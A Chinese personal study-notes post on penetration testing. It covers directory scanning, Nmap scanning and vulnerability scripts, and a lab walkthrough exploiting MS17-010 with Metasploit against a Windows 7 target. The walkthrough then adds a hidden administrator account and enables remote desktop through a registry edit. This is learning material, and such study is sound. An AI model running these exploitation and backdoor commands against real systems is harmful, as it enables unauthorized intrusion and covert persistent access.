(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

 

一、定义

目录扫描:扫描站点的目录,寻找敏感文件(目录名、探针文件、后台、robots.txt、备份文件)

  • 目录:站点结构,权限控制不严格(列目录)

  • 探针文件:服务器配置信息,phpinfo.php、readme.txt、config.txt
  • 后台:登录管理整个网站的入口,inurl:admin.php、inurl:admin.asp
  • robots.txt:一般存放在站点根目录,如果管理员对于robots.txt文件管理不合理,就会造成信息泄露
  • 备份文件:数据库备份文件、网站备份文件等  .bak  .zip  www.rar

 

二、扫描工具

1.御剑后台扫描工具:

2.DirBuster:需要依赖Java的配置环境

  • 原理:使用字典,做请求

3.Nmap

 

三、Nmap

1.定义

Nmap:最早是Linux中的扫面和嗅探工具,网络连接扫描工具,主要负责探测主机存活(是否开机)、开启服务(扫端口)、安全性问题(高级用法//script)、系统类型(OS类型)

2.安装Nmap需要配置环境变量

3.命令行模式的用法:

1 nmap -h 帮助信息
2 nmap 目标IP  扫描单个IP

  • 状态:
状态 含义

open

开启

closed

关闭

filtered

数据包被过滤,探测包被拦截,无法定位端口

是否开启

unfiltered

数据包未过滤,探测包没有被拦截,

nmap无法判断该端口是否开启

open|filtered

开放或者被过滤

closed|filtered

关闭或者被过滤

nmap 192.168.211.0/24  扫描整个网段

  • Nmap的用法
1 nmap 192.168.1.10-200  扫描指定网段的网络
2 nmap 192,168.1.10,100,200-230  扫描10,100200-230的网络
3 nmap 192.168.1.0/24 10.10.10.0/24  扫描不同网段
4 nmap -iL filename 扫描目标文件
5 nmap -iR  随机选择目标去探测
6 nmap -sS -PS80 -iR 0(无休止去扫描) -p80
7 nmap 192.168.1.0/24 --exclude 192.168.1.1,255(广播包),4-20  排除某些指定的IP去扫描
8 nmap -iL filename1 --excludefile filename2  其中filename1是需要扫描的,filename2不需要扫描

4.带有参数的扫描:

nmap -sT 192.168.1.1  使用TCP全连接方式,扫描过程需要三次握手,和端口建立连接,建立连接,说明端口开放,但是扫描速度慢

1 nmap -sN 192.168.1.1 = nmap 192.168.1.1  NULL扫描,发出的数据包不设置任何的标识位
2 nmap -p3306,5432 192.168.1.1  扫描指定端口
3 nmap -p- = -p1-65535  扫描所有端口
4 nmap -sV 192.168.1.1  探测服务版本

1 nmap 192.168.1.1 >./re.txt  将扫描结果重定向到re.txt中
2 nmap 192.168.1.1 -oX ./Desktop/re.xml  将扫描结果写进re.xml中

  • 用浏览器打开re.xml,可以看到NMAP的扫描报告

nmap -A 192.168.1.1  获取目标所有的详细结构,全面扫描

nmap -O 192.168.1.1  探测操作系统类型

nmap --script  使用脚本去探测漏洞,后跟脚本
  • Nmap自带的脚本

1 nmap --script smb-vuln-ms17-010 192.168.1.1  探测永痕之蓝
2 nmap --script smb-check-vulns 192.168.1.1  MS08-067,探测MSP的溢出漏洞
3 nmap --script ssl-heartbleed 192.168.1.1  探测心脏滴血 

 

四、使用Nmap扫描kali服务器

1.查看kali服务器与宿主机的连通性

2.要使用Nmap扫描kali服务器,就要开启kali中的WEB、SSH、PostgreSQL、MySQL、Samba、VSFTP服务

1 /etc/init.d/apache2 start  启动HTTP服务
2 /etc/init.d/apache2 status  查看HTTP服务状态

/etc/init.d/ssh status  查看SSH服务状态

1 /etc/init.d/postgresql start  启动PostgreSQL服务
2 /etc/init.d/postgresql status  查看PostgreSQL服务状态

1 /etc/init.d/mysql start  启动MySQL服务
2 /etc/init.d/mysql status  查看MySQL服务状态

apt install samba  安装Samba

1 /etc/init.d/smbd start  开启Samba服务
2 /etc/init.d/smbd status  查看Samba服务状态

apt install vsftpd  安装Vsftp服务

1 /etc/init.d/ vsftpd start  开启Vsftp服务
2 /etc/init.d/ vsftpd status  查看Vsftp服务状态

netstat -ntulp|grep smbd  查看Smbd服务的端口状态
netstat -ntulp|grep 3306  查看MySQL服务的端口状态
netstat -ntulp|grep 5432  查看PostgreSQL服务的端口状态

3.使用Nmap扫描kali服务器

1 nmap kali服务器的IP  扫描kali服务器
2 nmap -p5432 kali服务器的IP  扫描5432端口信息,即PostgreSQL服务信息
3 nmap -p3306 kali服务器的IP  扫描3306端口信息,即MySQL服务信息

  • 下图可以看到,扫描结果显示5432端口和3306端口是关闭状态,因为MySQL不允许外联

 

五、使用kali中的Metasploit通过MS17-010永痕之蓝获取系统权限

攻击者:kali服务器

靶机:Windows 7 系统

1.关闭Win7系统中的防火墙,并查看攻击者与靶机的连通性

2.查看kali中是否有smb-vuln-ms17-010.nse的脚本,开启kali中的postgresql数据库并使用nmap --script参数调用smb-vuln-ms17-010.nse脚本检测MS17-010漏洞

1 whereis nmap  查找Nmap的位置
2 cd /usr/share/nmap  进入Nmap
3 cd scripts/  进入Nmap存放脚本的文件
4 find . -name /*smb*/  查找永痕之蓝
  • /usr/bin 里面装着二进制文件 相当于快捷方式

  • vulnerable表示有漏洞,受威胁,Risk factor: High表示风险高;not vulnerable无漏洞
  • 这里检测出了ms17-010漏洞

3.这里先介绍几个在Metasploit中经常会用到的工具

1 cd /usr/share/metasploit-framework
2 cd modules

  • auxiliary:辅助模块
  • encoders:供Msfencode编码工具使用,具体可使用msfencode -l
  • exploits:攻击模块,每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录
  • payloads:这里面列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
  • post:后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump,arp_scanner就在这里

(常用工具知识点出自CSDN博主「the__apollo」,原文链接:https://blog.csdn.net/the__apollo/article/details/70475962十分详细,感谢!)

4.在上面使用Nmap时检测出了ms17-010漏洞,开启Metasploit并使用Metasploit查找渗透模块

1 Metasploit  开启Msf
2 search 17-010  搜索cve(漏洞编号前缀)17-010相关的EXP(漏洞利用脚本)

  • auxiliary/scanner/smb/smb_ms17_010  scanner和nmap一样:扫描漏洞是否存在

  • exploit/windows/smb/ms17_010_eternalblue  用来做攻击的EXP

5.探测漏洞是否存在

1 use auxiliary/scanner/smb/smb_ms17_010  探测漏洞是否存在
2 show options  查看所需设置的参数

6.上图可以看到RHOST(远程IP地址)还没有设置,设置远程地址,并运行攻击测试

1 set rhosts 192.168.1.0/24  设置远程IP为靶机的整个网段
2 run  运行攻击测试

  • 下图可以看到,在扫描的全部网段中,可探测到目标IP存在漏洞

7.使用攻击模块,设置远程地址,并运行攻击测试

8.攻击成功,进行测试,并在靶机里加入一个隐藏用户(隐藏用户后面加$),提升隐藏用户的权限,方便我们后续的操作测试

1 net user host$  host$的密码 /add  添加隐藏用户host$
2 net localgroup administrators host$ /add  将host$用户加入到管理员组中,从而提升权限
3 net user host$  查看host$用户信息

9.查看Windows远程桌面的服务端口是否开启

1 netstat -ano|findstr 3389  查看远程桌面端口状态
2 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f  开启终端服务
3 net user administrator /active:yes  激活管理员用户

10.新开一个终端,使用远程桌面连接的靶机,进行操作

1 rdesktop 靶机的IP  使用远程桌面连接靶机

  • 连接靶机,连接成功,进入以下界面,是用隐藏用户登录靶机,攻击成功!!!